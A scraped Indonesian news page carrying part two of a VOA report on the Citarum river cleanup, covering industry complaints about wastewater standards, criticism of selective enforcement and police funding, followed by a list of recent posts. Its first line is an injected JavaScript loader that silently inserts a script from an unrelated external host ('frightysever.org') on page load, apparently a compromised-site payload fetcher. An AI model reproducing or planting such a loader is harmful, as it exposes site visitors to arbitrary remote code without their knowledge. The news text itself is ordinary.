(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Upaya Indonesia Bersihkan Sungai Terkotor di Dunia (2)


 Kritik dari Industri dan Masyarakat

Asosiasi Pengusaha Indonesia (Apindo) Cimahi, yang terdiri dari 47 perusahaan di kota itu, mengeluhkan perbedaan standar IPAL yang ada di lapangan. Dewan Pertimbangan Apindo Cimahi Samsoel Maarif menceritakan, industri diminta mengolah limbahnya menjadi air jernih dengan ikan yang hidup di dalamnya. Standar itu jauh lebih tinggi di atas standar baku mutu limbah dari Kementerian Lingkungan Hidup dan Kehutanan (KLHK).

“Ya kan prosesnya harus tambah gitu loh. Dari kondisi kotor menjadi jernih, ikan hidup itu bukan murah itu,” terangnya kepada wartawan dalam kesempatan yang sama.

Samsoel berharap pemerintah kembali pada standar KLHK yang berisi 9 parameter limbah. “Asosiasi akan membela siapa yang benar, siapa yang belum benar pengen benar. Dan kalau yang nakal yang silakan satgas atau pemerintah (tindak). Silakan yang punya kekuasaan,” paparnya.

Gubernur Jawa Barat Ridwan Kamil, yang juga jadi Ketua Satgas Citarum, mengakui terjadi perbedaan standar di lapangan. Standar itu diterapkan komandan sektor (dansektor) yang bertugas melakukan pemulihan ekosistem dan monitoring pelanggaran. Karena itu pihaknya akan membentuk kantor tunggal di mana “segala keputusan dibuat.

Bupati Bandung Barat, Dadang Nasser, menyatakan tidak akan membela perusahaan di wilayahnya yang terbukti nakal. Foto: VOA/Rio Tuasikal

“Terjadi tafsir di lapangan. Apakah standar KLHK itu dipegang, ternyata dan sektor menafsir lain. Maka di awal Februari kita akan bersepakat. Kalau yang KLHK disepakati, ya sudah, hanya yang mengeluarkannya nanti urusan Citarum di kantor (terpusat) baru itu. Biar tidak berbeda-beda cara menguji di lapangannya,” jelasnya.

Sementara itu, masyarakat mengeluhkan penegakkan hukum yang terkesan tebang pilih. Dadan Hermawan, mantan aktivis Walhi Jawa Barat, mengatakan banyak bangunan masyarakat dibongkar sementara pabrik dibiarkan berdiri.

“Ini belum berkeadilan sosial. Kalau bangunan masyarakat di badan sungai dibongkar, kalau pabrik tidak dibongkar. Kapolda dan Pangdam berani nggak membongkar pabrik jangan hanya warung kaki lima,” jelas pria yang akrab disapa Utun ini.

Bagaimanapun, program “Citarum Harum” tetap akan dilanjutkan. Pada 2018, Polda Jabar hanya memiliki 84 juta Rupiah – yang cukup untuk 5 kasus – namun berhasil menyelesaikan berkas 19 pelanggaran.

Kapolda Jabar Agung Budi Maryoto mengatakan telah menerima kucuran 3 miliar Rupiah langsung dari Mabes Polri. Angka 35 kali lipat ini, ujar dia, akan digunakan sepenuhnya untuk Citarum.

“Ini akan kita distribusikan kepada Polres-Polres yang menangani khusus menangani Citarum saja. Tidak boleh misalnya ada kasus tindak pidana tertentu penambangan pasir di Garut, tidak boleh. Jadi 3 miliar ini khusus difokuskan untuk penanganan Citarum Harum sehingga tahun 2019 bisa maksimal,” ujar pria yang jadi Kapolda Jabar sejak 2017 ini. (rt/em/kk/voa)

Reporter : Rt/em/kk/voa
Editor : Kk

Page: 1 2

Desy Arfianty

Recent Posts

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

19 jam ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

22 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

1 hari ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

1 hari ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

1 hari ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

2 hari ago

This website uses cookies.